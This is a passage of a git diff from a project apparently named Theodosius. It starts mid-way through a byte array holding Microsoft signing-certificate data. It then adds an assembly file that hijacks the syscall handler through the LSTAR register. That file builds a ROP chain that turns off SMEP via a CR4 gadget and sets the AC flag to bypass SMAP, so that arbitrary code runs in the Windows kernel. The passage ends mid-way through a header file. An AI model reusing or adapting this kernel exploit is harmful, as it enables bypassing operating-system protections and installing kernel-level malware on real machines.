0x30, + 0x5A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, + 0x4E, 0x30, 0x4C, 0x30, 0x4A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, + 0x07, 0x30, 0x02, 0x86, 0x3E, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, + 0x77, 0x77, 0x77, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, + 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x6B, 0x69, 0x2F, 0x63, 0x65, + 0x72, 0x74, 0x73, 0x2F, 0x4D, 0x69, 0x63, 0x52, 0x6F, 0x6F, 0x43, 0x65, + 0x72, 0x41, 0x75, 0x74, 0x5F, 0x32, 0x30, 0x31, 0x30, 0x2D, 0x30, 0x36, + 0x2D, 0x32, 0x33, 0x2E, 0x63, 0x72, 0x74, 0x30, 0x81, 0xA0, 0x06, 0x03, + 0x55, 0x1D, 0x20, 0x01, 0x01, 0xFF, 0x04, 0x81, 0x95, 0x30, 0x81, 0x92, + 0x30, 0x81, 0x8F, 0x06, 0x09, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, + 0x2E, 0x03, 0x30, 0x81, 0x81, 0x30, 0x3D, 0x06, 0x08, 0x2B, 0x06, 0x01, + 0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x31, 0x68, 0x74, 0x74, 0x70, 0x3A, + 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, + 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x50, 0x4B, 0x49, 0x2F, + 0x64, 0x6F, 0x63, 0x73, 0x2F, 0x43, 0x50, 0x53, 0x2F, 0x64, 0x65, 0x66, + 0x61, 0x75, 0x6C, 0x74, 0x2E, 0x68, 0x74, 0x6D, 0x30, 0x40, 0x06, 0x08, + 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x02, 0x30, 0x34, 0x1E, 0x32, + 0x20, 0x1D, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, 0x61, 0x00, 0x6C, + 0x00, 0x5F, 0x00, 0x50, 0x00, 0x6F, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x63, + 0x00, 0x79, 0x00, 0x5F, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, + 0x00, 0x65, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x2E, + 0x20, 0x1D, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, + 0x01, 0x01, 0x0B, 0x05, 0x00, 0x03, 0x82, 0x02, 0x01, 0x00, 0x07, 0xE6, + 0x88, 0x51, 0x0D, 0xE2, 0xC6, 0xE0, 0x98, 0x3F, 0x81, 0x71, 0x03, 0x3D, + 0x9D, 0xA3, 0xA1, 0x21, 0x6F, 0xB3, 0xEB, 0xA6, 0xCC, 0xF5, 0x31, 0xBE, + 0xCF, 0x05, 0xE2, 0xA9, 0xFE, 0xFA, 0x57, 0x6D, 0x19, 0x30, 0xB3, 0xC2, + 0xC5, 0x66, 0xC9, 0x6A, 0xDF, 0xF5, 0xE7, 0xF0, 0x78, 0xBD, 0xC7, 0xA8, + 0x9E, 0x25, 0xE3, 0xF9, 0xBC, 0xED, 0x6B, 0x54, 0x57, 0x08, 0x2B, 0x51, + 0x82, 0x44, 0x12, 0xFB, 0xB9, 0x53, 0x8C, 0xCC, 0xF4, 0x60, 0x12, 0x8A, + 0x76, 0xCC, 0x40, 0x40, 0x41, 0x9B, 0xDC, 0x5C, 0x17, 0xFF, 0x5C, 0xF9, + 0x5E, 0x17, 0x35, 0x98, 0x24, 0x56, 0x4B, 0x74, 0xEF, 0x42, 0x10, 0xC8, + 0xAF, 0xBF, 0x7F, 0xC6, 0x7F, 0xF2, 0x37, 0x7D, 0x5A, 0x3F, 0x1C, 0xF2, + 0x99, 0x79, 0x4A, 0x91, 0x52, 0x00, 0xAF, 0x38, 0x0F, 0x17, 0xF5, 0x2F, + 0x79, 0x81, 0x65, 0xD9, 0xA9, 0xB5, 0x6B, 0xE4, 0xC7, 0xCE, 0xF6, 0xCA, + 0x7A, 0x00, 0x6F, 0x4B, 0x30, 0x44, 0x24, 0x22, 0x3C, 0xCF, 0xED, 0x03, + 0xA5, 0x96, 0x8F, 0x59, 0x29, 0xBC, 0xB6, 0xFD, 0x04, 0xE1, 0x70, 0x9F, + 0x32, 0x4A, 0x27, 0xFD, 0x55, 0xAF, 0x2F, 0xFE, 0xB6, 0xE5, 0x8E, 0x33, + 0xBB, 0x62, 0x5F, 0x9A, 0xDB, 0x57, 0x40, 0xE9, 0xF1, 0xCE, 0x99, 0x66, + 0x90, 0x8C, 0xFF, 0x6A, 0x62, 0x7F, 0xDD, 0xC5, 0x4A, 0x0B, 0x91, 0x26, + 0xE2, 0x39, 0xEC, 0x19, 0x4A, 0x71, 0x63, 0x9D, 0x7B, 0x21, 0x6D, 0xC3, + 0x9C, 0xA3, 0xA2, 0x3C, 0xFA, 0x7F, 0x7D, 0x96, 0x6A, 0x90, 0x78, 0xA6, + 0x6D, 0xD2, 0xE1, 0x9C, 0xF9, 0x1D, 0xFC, 0x38, 0xD8, 0x94, 0xF4, 0xC6, + 0xA5, 0x0A, 0x96, 0x86, 0xA4, 0xBD, 0x9E, 0x1A, 0xAE, 0x04, 0x42, 0x83, + 0xB8, 0xB5, 0x80, 0x9B, 0x22, 0x38, 0x20, 0xB5, 0x25, 0xE5, 0x64, 0xEC, + 0xF7, 0xF4, 0xBF, 0x7E, 0x63, 0x59, 0x25, 0x0F, 0x7A, 0x2E, 0x39, 0x57, + 0x76, 0xA2, 0x71, 0xAA, 0x06, 0x8A, 0x0F, 0x89, 0x16, 0xBA, 0x61, 0xA7, + 0x11, 0xCB, 0x9A, 0xD8, 0x0E, 0x47, 0x9A, 0x80, 0xC5, 0xD0, 0xCD, 0xA7, + 0xD0, 0xEF, 0x7D, 0x83, 0xF0, 0xE1, 0x3B, 0x71, 0x09, 0xDF, 0x5D, 0x74, + 0x98, 0x22, 0x08, 0x61, 0xDA, 0xB0, 0x50, 0x1E, 0x6F, 0xBD, 0xF1, 0xE1, + 0x00, 0xDF, 0xE7, 0x31, 0x07, 0xA4, 0x93, 0x3A, 0xF7, 0x65, 0x47, 0x78, + 0xE8, 0xF8, 0xA8, 0x48, 0xAB, 0xF7, 0xDE, 0x72, 0x7E, 0x61, 0x6B, 0x6F, + 0x77, 0xA9, 0x81, 0xCB, 0xA7, 0x09, 0xAC, 0x39, 0xBB, 0xEC, 0xC6, 0xCB, + 0xD8, 0x82, 0xB4, 0x72, 0xCD, 0x1D, 0xF4, 0xB8, 0x85, 0x01, 0x1E, 0x80, + 0xFB, 0x1B, 0x89, 0x2A, 0x54, 0x39, 0xB2, 0x5B, 0xDA, 0xC8, 0x0D, 0x55, + 0x99, 0x7A, 0x87, 0x73, 0x3B, 0x08, 0xE6, 0x98, 0x2D, 0xEA, 0x8D, 0xE0, + 0x33, 0x2E, 0x12, 0x29, 0xF5, 0xC0, 0x2F, 0x54, 0x27, 0x21, 0xF7, 0xC8, + 0xAC, 0x4E, 0xDA, 0x28, 0xB8, 0xB1, 0xA9, 0xDB, 0x96, 0xB2, 0xA7, 0x42, + 0xA2, 0xC9, 0xCF, 0x19, 0x41, 0x4D, 0xE0, 0x86, 0xF9, 0x2A, 0x9A, 0xA3, + 0x11, 0x66, 0x30, 0xD3, 0xBB, 0x74, 0x32, 0x4B, 0xDF, 0x63, 0x7B, 0xF5, + 0x99, 0x8A, 0x2F, 0x1B, 0xC7, 0x21, 0xAF, 0x59, 0xB5, 0xAE, 0xDC, 0x44, + 0x3C, 0x97, 0x50, 0x71, 0xD7, 0xA1, 0xD2, 0xC5, 0x55, 0xE3, 0x69, 0xDE, + 0x57, 0xC1, 0xD1, 0xDE, 0x30, 0xC0, 0xFD, 0xCC, 0xE6, 0x4D, 0xFB, 0x0D, + 0xBF, 0x5D, 0x4F, 0xE9, 0x9D, 0x1E, 0x19, 0x38, 0x2F, 0xBC, 0xCF, 0x58, + 0x05, 0x2E, 0xEF, 0x0D, 0xA0, 0x50, 0x35, 0xDA, 0xEF, 0x09, 0x27, 0x1C, + 0xD5, 0xB3, 0x7E, 0x35, 0x1E, 0x08, 0xBA, 0xDA, 0x36, 0xDB, 0xD3, 0x5F, + 0x8F, 0xDE, 0x74, 0x88, 0x49, 0x12, 0xA1, 0x82, 0x03, 0xAD, 0x30, 0x82, + 0x02, 0x95, 0x02, 0x01, 0x01, 0x30, 0x81, 0xFE, 0xA1, 0x81, 0xD4, 0xA4, + 0x81, 0xD1, 0x30, 0x81, 0xCE, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, + 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, + 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, + 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, + 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, + 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, + 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, + 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x29, 0x30, 0x27, 0x06, 0x03, 0x55, + 0x04, 0x0B, 0x13, 0x20, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, + 0x74, 0x20, 0x4F, 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x73, + 0x20, 0x50, 0x75, 0x65, 0x72, 0x74, 0x6F, 0x20, 0x52, 0x69, 0x63, 0x6F, + 0x31, 0x26, 0x30, 0x24, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x1D, 0x54, + 0x68, 0x61, 0x6C, 0x65, 0x73, 0x20, 0x54, 0x53, 0x53, 0x20, 0x45, 0x53, + 0x4E, 0x3A, 0x33, 0x31, 0x43, 0x35, 0x2D, 0x33, 0x30, 0x42, 0x41, 0x2D, + 0x37, 0x43, 0x39, 0x31, 0x31, 0x25, 0x30, 0x23, 0x06, 0x03, 0x55, 0x04, + 0x03, 0x13, 0x1C, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, + 0x20, 0x54, 0x69, 0x6D, 0x65, 0x2D, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x20, + 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0xA2, 0x25, 0x0A, 0x01, 0x01, + 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x03, + 0x15, 0x00, 0x02, 0xA3, 0xC8, 0x4F, 0x56, 0xF6, 0x90, 0xE8, 0xB5, 0x63, + 0x20, 0x76, 0xE7, 0x31, 0xE9, 0x6B, 0x73, 0xE7, 0x9C, 0x0C, 0xA0, 0x81, + 0xDE, 0x30, 0x81, 0xDB, 0xA4, 0x81, 0xD8, 0x30, 0x81, 0xD5, 0x31, 0x0B, + 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, + 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, + 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, + 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, + 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, + 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, + 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x29, + 0x30, 0x27, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x20, 0x4D, 0x69, 0x63, + 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x4F, 0x70, 0x65, 0x72, 0x61, + 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x20, 0x50, 0x75, 0x65, 0x72, 0x74, 0x6F, + 0x20, 0x52, 0x69, 0x63, 0x6F, 0x31, 0x27, 0x30, 0x25, 0x06, 0x03, 0x55, + 0x04, 0x0B, 0x13, 0x1E, 0x6E, 0x43, 0x69, 0x70, 0x68, 0x65, 0x72, 0x20, + 0x4E, 0x54, 0x53, 0x20, 0x45, 0x53, 0x4E, 0x3A, 0x34, 0x44, 0x45, 0x39, + 0x2D, 0x30, 0x43, 0x35, 0x45, 0x2D, 0x33, 0x45, 0x30, 0x39, 0x31, 0x2B, + 0x30, 0x29, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x22, 0x4D, 0x69, 0x63, + 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, + 0x53, 0x6F, 0x75, 0x72, 0x63, 0x65, 0x20, 0x4D, 0x61, 0x73, 0x74, 0x65, + 0x72, 0x20, 0x43, 0x6C, 0x6F, 0x63, 0x6B, 0x30, 0x0D, 0x06, 0x09, 0x2A, + 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x02, 0x05, + 0x00, 0xE1, 0x60, 0xED, 0x42, 0x30, 0x22, 0x18, 0x0F, 0x32, 0x30, 0x31, + 0x39, 0x31, 0x30, 0x32, 0x38, 0x31, 0x32, 0x32, 0x39, 0x35, 0x34, 0x5A, + 0x18, 0x0F, 0x32, 0x30, 0x31, 0x39, 0x31, 0x30, 0x32, 0x39, 0x31, 0x32, + 0x32, 0x39, 0x35, 0x34, 0x5A, 0x30, 0x74, 0x30, 0x3A, 0x06, 0x0A, 0x2B, + 0x06, 0x01, 0x04, 0x01, 0x84, 0x59, 0x0A, 0x04, 0x01, 0x31, 0x2C, 0x30, + 0x2A, 0x30, 0x0A, 0x02, 0x05, 0x00, 0xE1, 0x60, 0xED, 0x42, 0x02, 0x01, + 0x00, 0x30, 0x07, 0x02, 0x01, 0x00, 0x02, 0x02, 0x18, 0x32, 0x30, 0x07, + 0x02, 0x01, 0x00, 0x02, 0x02, 0x1A, 0xC9, 0x30, 0x0A, 0x02, 0x05, 0x00, + 0xE1, 0x62, 0x3E, 0xC2, 0x02, 0x01, 0x00, 0x30, 0x36, 0x06, 0x0A, 0x2B, + 0x06, 0x01, 0x04, 0x01, 0x84, 0x59, 0x0A, 0x04, 0x02, 0x31, 0x28, 0x30, + 0x26, 0x30, 0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x84, 0x59, + 0x0A, 0x03, 0x01, 0xA0, 0x0A, 0x30, 0x08, 0x02, 0x01, 0x00, 0x02, 0x03, + 0x16, 0xE3, 0x60, 0xA1, 0x0A, 0x30, 0x08, 0x02, 0x01, 0x00, 0x02, 0x03, + 0x07, 0xA1, 0x20, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, + 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0xA8, + 0x12, 0x04, 0xEF, 0x51, 0x49, 0xBA, 0x03, 0xEA, 0x99, 0x2D, 0xAB, 0x80, + 0xC9, 0xB7, 0x04, 0xDF, 0x3A, 0xEE, 0xB3, 0xDB, 0x17, 0x4B, 0xBC, 0x85, + 0x4B, 0x45, 0x53, 0xAB, 0x7E, 0x56, 0x6E, 0x62, 0xD8, 0xD9, 0xD4, 0x35, + 0x2D, 0x17, 0x25, 0x58, 0x1D, 0xE8, 0xE6, 0xB0, 0xC8, 0xF8, 0xC5, 0xEA, + 0x91, 0xC1, 0x0D, 0x70, 0xAF, 0xE5, 0x87, 0xEE, 0x9A, 0x40, 0x48, 0xFC, + 0x55, 0x3F, 0x74, 0x8E, 0x91, 0xBE, 0x4B, 0x46, 0x97, 0xD1, 0x7B, 0xE4, + 0x98, 0xE3, 0xBD, 0x79, 0x13, 0x4F, 0x74, 0xE0, 0x08, 0x37, 0xC2, 0x31, + 0x29, 0x2E, 0x20, 0x92, 0x58, 0x3E, 0x82, 0xFC, 0x60, 0x17, 0xC1, 0x39, + 0xEB, 0xBE, 0x6E, 0xFE, 0xF2, 0x42, 0x14, 0xFB, 0x07, 0x3C, 0x6B, 0x14, + 0x53, 0x85, 0x97, 0x9E, 0x6A, 0xC6, 0x31, 0x9A, 0x53, 0x5C, 0x09, 0x4F, + 0xA6, 0x47, 0x78, 0x5C, 0x02, 0xCE, 0x11, 0x20, 0xB8, 0xC6, 0xAF, 0x17, + 0xFF, 0x6B, 0x10, 0xEB, 0x00, 0xFA, 0x94, 0x93, 0xC6, 0x5C, 0x1C, 0xE0, + 0xF9, 0x81, 0xBB, 0x12, 0xD5, 0x3C, 0xA7, 0xD4, 0x93, 0xE7, 0x20, 0x3E, + 0x0E, 0xAF, 0x20, 0x2F, 0xDD, 0x37, 0x6D, 0x68, 0x17, 0xCF, 0x0E, 0x4A, + 0x99, 0xAF, 0xFE, 0x59, 0x9E, 0xD7, 0xA5, 0x72, 0x07, 0xF0, 0xC1, 0xC9, + 0xEB, 0x1A, 0xFD, 0x88, 0x22, 0xA7, 0x1A, 0x80, 0x15, 0x2C, 0x08, 0x38, + 0xE7, 0xB9, 0xD3, 0x77, 0xF4, 0x9A, 0xA5, 0x28, 0x24, 0x08, 0xD0, 0x40, + 0xD3, 0x0A, 0x61, 0xBF, 0x88, 0xF5, 0xAA, 0x7F, 0x9D, 0xBE, 0x76, 0xDE, + 0x66, 0x9B, 0x2D, 0x68, 0x97, 0x66, 0x97, 0x61, 0xD0, 0x19, 0x93, 0x37, + 0x8C, 0x3A, 0xA1, 0x39, 0x1C, 0x2A, 0xE8, 0xF1, 0x89, 0x0F, 0xDC, 0x42, + 0x5A, 0x6E, 0x88, 0x88, 0x09, 0x3D, 0x88, 0xC7, 0x61, 0x72, 0x2F, 0xEB, + 0x5C, 0xA7, 0x75, 0x31, 0x82, 0x02, 0xF5, 0x30, 0x82, 0x02, 0xF1, 0x02, + 0x01, 0x01, 0x30, 0x81, 0x93, 0x30, 0x7C, 0x31, 0x0B, 0x30, 0x09, 0x06, + 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, + 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, + 0x6E, 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, + 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, + 0x1E, 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, + 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, + 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x26, 0x30, 0x24, 0x06, + 0x03, 0x55, 0x04, 0x03, 0x13, 0x1D, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, + 0x6F, 0x66, 0x74, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x2D, 0x53, 0x74, 0x61, + 0x6D, 0x70, 0x20, 0x50, 0x43, 0x41, 0x20, 0x32, 0x30, 0x31, 0x30, 0x02, + 0x13, 0x33, 0x00, 0x00, 0x00, 0xFE, 0x01, 0xF0, 0xB5, 0x1E, 0xFF, 0xE9, + 0xF9, 0xAD, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x30, 0x0D, 0x06, 0x09, + 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0xA0, + 0x82, 0x01, 0x32, 0x30, 0x1A, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, + 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0D, 0x06, 0x0B, 0x2A, 0x86, 0x48, 0x86, + 0xF7, 0x0D, 0x01, 0x09, 0x10, 0x01, 0x04, 0x30, 0x2F, 0x06, 0x09, 0x2A, + 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x22, 0x04, 0x20, + 0xAF, 0xA7, 0xC0, 0x64, 0x97, 0x71, 0xAE, 0x59, 0x6D, 0xA7, 0x72, 0x4A, + 0xA0, 0x71, 0xBE, 0x98, 0x02, 0xA6, 0xC6, 0x9E, 0x20, 0x89, 0xDB, 0xF9, + 0xDA, 0x42, 0x84, 0x5A, 0xA1, 0x5A, 0x36, 0x09, 0x30, 0x81, 0xE2, 0x06, + 0x0B, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x10, 0x02, 0x0C, + 0x31, 0x81, 0xD2, 0x30, 0x81, 0xCF, 0x30, 0x81, 0xCC, 0x30, 0x81, 0xB1, + 0x04, 0x14, 0x02, 0xA3, 0xC8, 0x4F, 0x56, 0xF6, 0x90, 0xE8, 0xB5, 0x63, + 0x20, 0x76, 0xE7, 0x31, 0xE9, 0x6B, 0x73, 0xE7, 0x9C, 0x0C, 0x30, 0x81, + 0x98, 0x30, 0x81, 0x80, 0xA4, 0x7E, 0x30, 0x7C, 0x31, 0x0B, 0x30, 0x09, + 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, + 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, + 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, + 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, + 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, + 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, + 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x26, 0x30, 0x24, + 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x1D, 0x4D, 0x69, 0x63, 0x72, 0x6F, + 0x73, 0x6F, 0x66, 0x74, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x2D, 0x53, 0x74, + 0x61, 0x6D, 0x70, 0x20, 0x50, 0x43, 0x41, 0x20, 0x32, 0x30, 0x31, 0x30, + 0x02, 0x13, 0x33, 0x00, 0x00, 0x00, 0xFE, 0x01, 0xF0, 0xB5, 0x1E, 0xFF, + 0xE9, 0xF9, 0xAD, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x30, 0x16, 0x04, + 0x14, 0xC9, 0x29, 0xD4, 0x98, 0x94, 0x7C, 0x74, 0xAD, 0x6B, 0x91, 0x2B, + 0x9C, 0xD1, 0x21, 0xA5, 0x0A, 0x8F, 0xAA, 0x08, 0xD5, 0x30, 0x0D, 0x06, + 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, + 0x04, 0x82, 0x01, 0x00, 0x87, 0xF7, 0x8F, 0xC9, 0x8F, 0x27, 0x91, 0x8A, + 0xD7, 0x16, 0x3B, 0xAD, 0x2D, 0x44, 0xF9, 0xFD, 0x5C, 0xF8, 0xB5, 0xC8, + 0x9A, 0x7F, 0x54, 0xD5, 0xE8, 0x34, 0x27, 0xAC, 0x04, 0xC4, 0x2D, 0xB3, + 0x96, 0xE8, 0xCB, 0xE8, 0x99, 0x84, 0x36, 0xE6, 0xFA, 0x67, 0x54, 0xB7, + 0xA5, 0x6C, 0xA3, 0xAD, 0x36, 0x9F, 0xE8, 0x61, 0xCD, 0xAC, 0xF3, 0x71, + 0x4C, 0xD3, 0x16, 0x7E, 0xD4, 0xEE, 0x5D, 0xA5, 0x99, 0x24, 0xE4, 0x12, + 0x34, 0x1D, 0xE8, 0x02, 0xC2, 0xB3, 0x6F, 0xB4, 0xE7, 0x03, 0xE4, 0x3A, + 0xF9, 0x96, 0x3B, 0x64, 0xA2, 0x13, 0x80, 0xB2, 0xA7, 0x86, 0x6D, 0x65, + 0x99, 0x21, 0x3B, 0xD0, 0x3E, 0xC4, 0x28, 0xD5, 0xEB, 0x8F, 0xC8, 0xF7, + 0xB0, 0x8E, 0xEF, 0xEF, 0x77, 0x77, 0x64, 0xC0, 0x30, 0xD1, 0x6D, 0xE6, + 0x31, 0x6B, 0xD6, 0xA8, 0xD2, 0xEC, 0x04, 0x9F, 0xFF, 0x4F, 0x00, 0x61, + 0xC9, 0x92, 0x1C, 0xAA, 0xD6, 0xA7, 0x17, 0xC8, 0xD6, 0x36, 0xA6, 0x0E, + 0xD5, 0xB3, 0x40, 0xF4, 0xA6, 0x53, 0xCA, 0xDE, 0xB3, 0xEB, 0x91, 0xF1, + 0x49, 0x09, 0x13, 0xCF, 0x05, 0x0B, 0x7C, 0x93, 0xA7, 0xBB, 0x26, 0xD0, + 0x4F, 0xE2, 0x3F, 0xC0, 0xFA, 0x05, 0x42, 0x01, 0x48, 0xCF, 0x7A, 0x65, + 0xFA, 0x6D, 0x3D, 0x57, 0x9A, 0x45, 0xA1, 0xB6, 0xC6, 0x01, 0x6A, 0x85, + 0x0F, 0x45, 0x47, 0x1E, 0xB0, 0x91, 0x64, 0x93, 0x89, 0xC3, 0x49, 0xD4, + 0x95, 0xD0, 0xF2, 0x0A, 0x4F, 0x12, 0x2C, 0x00, 0x4C, 0x19, 0x9B, 0x12, + 0xF4, 0x8C, 0xE6, 0x68, 0xD1, 0x28, 0xBA, 0x46, 0x42, 0x95, 0x87, 0xC3, + 0x33, 0xF6, 0x5E, 0x1E, 0x80, 0xEC, 0xAA, 0x49, 0x0C, 0xA8, 0x47, 0x50, + 0xBA, 0xA7, 0x3E, 0x6F, 0xBE, 0xAE, 0x9A, 0xBE, 0x2F, 0xA0, 0x1C, 0x33, + 0x82, 0x71, 0x9E, 0xE1, 0xE4, 0x5D, 0xCF, 0xD3 +}; \ No newline at end of file diff --git a/Theodosius/syscall_handler.asm b/Theodosius/syscall_handler.asm new file mode 100644 index 0000000..333b5eb --- /dev/null +++ b/Theodosius/syscall_handler.asm @@ -0,0 +1,90 @@ +extern msrexec_handler : proc + +.data + ; offsets into _KPCR/_KPRCB + m_kpcr_rsp_offset dq 0h + m_kpcr_krsp_offset dq 0h + m_system_call dq 0h + + m_mov_cr4_gadget dq 0h + m_sysret_gadget dq 0h + m_pop_rcx_gadget dq 0h + + m_smep_on dq 0h + m_smep_off dq 0h + + public m_smep_on + public m_smep_off + + public m_kpcr_rsp_offset + public m_kpcr_krsp_offset + + public m_pop_rcx_gadget + public m_mov_cr4_gadget + public m_sysret_gadget + public m_system_call + +.code +syscall_handler proc + swapgs ; swap gs to kernel gs (_KPCR...) + + mov rax, m_kpcr_rsp_offset ; save usermode stack to _KPRCB + mov gs:[rax], rsp + + mov rax, m_kpcr_krsp_offset ; load kernel rsp.... + mov rsp, gs:[rax] + + push rcx ; push RIP + push r11 ; push EFLAGS + + mov rcx, r10 ; swapped by syscall instruction so we switch it back... + sub rsp, 020h + call msrexec_handler ; call c++ handler (which restores LSTAR and calls lambda...) + add rsp, 020h + + pop r11 ; pop EFLAGS + pop rcx ; pop RIP + + mov rax, m_kpcr_rsp_offset ; restore rsp back to usermode stack... + mov rsp, gs:[rax] + + swapgs ; swap back to TIB... + ret +syscall_handler endp + +syscall_wrapper proc + push r10 ; syscall puts RIP into rcx... + pushfq + + mov r10, rcx ; swap r10 and rcx... + push m_sysret_gadget ; REX.W prefixed... + + lea rax, finish ; preserved value of RIP by putting it on the stack here... + push rax ; + + push m_pop_rcx_gadget ; gadget to put RIP back into rcx... + push m_mov_cr4_gadget ; turn smep back on... + + push m_smep_on ; value of CR4 with smep off... + push m_pop_rcx_gadget ; + + lea rax, syscall_handler ; rop to syscall_handler to handle the syscall... + push rax ; + + push m_mov_cr4_gadget ; disable smep... + push m_smep_off ; + + pushfq ; THANK YOU DREW YOU SAVED THE PROJECT!!! + pop rax ; this will set the AC flag in EFLAGS which "disables SMAP"... + or rax, 040000h ; + push rax ; + popfq ; + + syscall ; LSTAR points at a pop rcx gadget... + ; it will put m_smep_off into rcx... +finish: + popfq ; restore EFLAGS... + pop r10 ; restore r10... + ret +syscall_wrapper endp +end \ No newline at end of file diff --git a/Theodosius/syscall_handler.h b/Theodosius/syscall_handler.h new file mode 100644 index 0000000..153ae0b --- /dev/null +++ b/Theodosius/syscall_handler.h @@ -0,0 +1,14 @@ +#pragma once +#include "ia32.hpp" + +extern "C" std::uint32_t 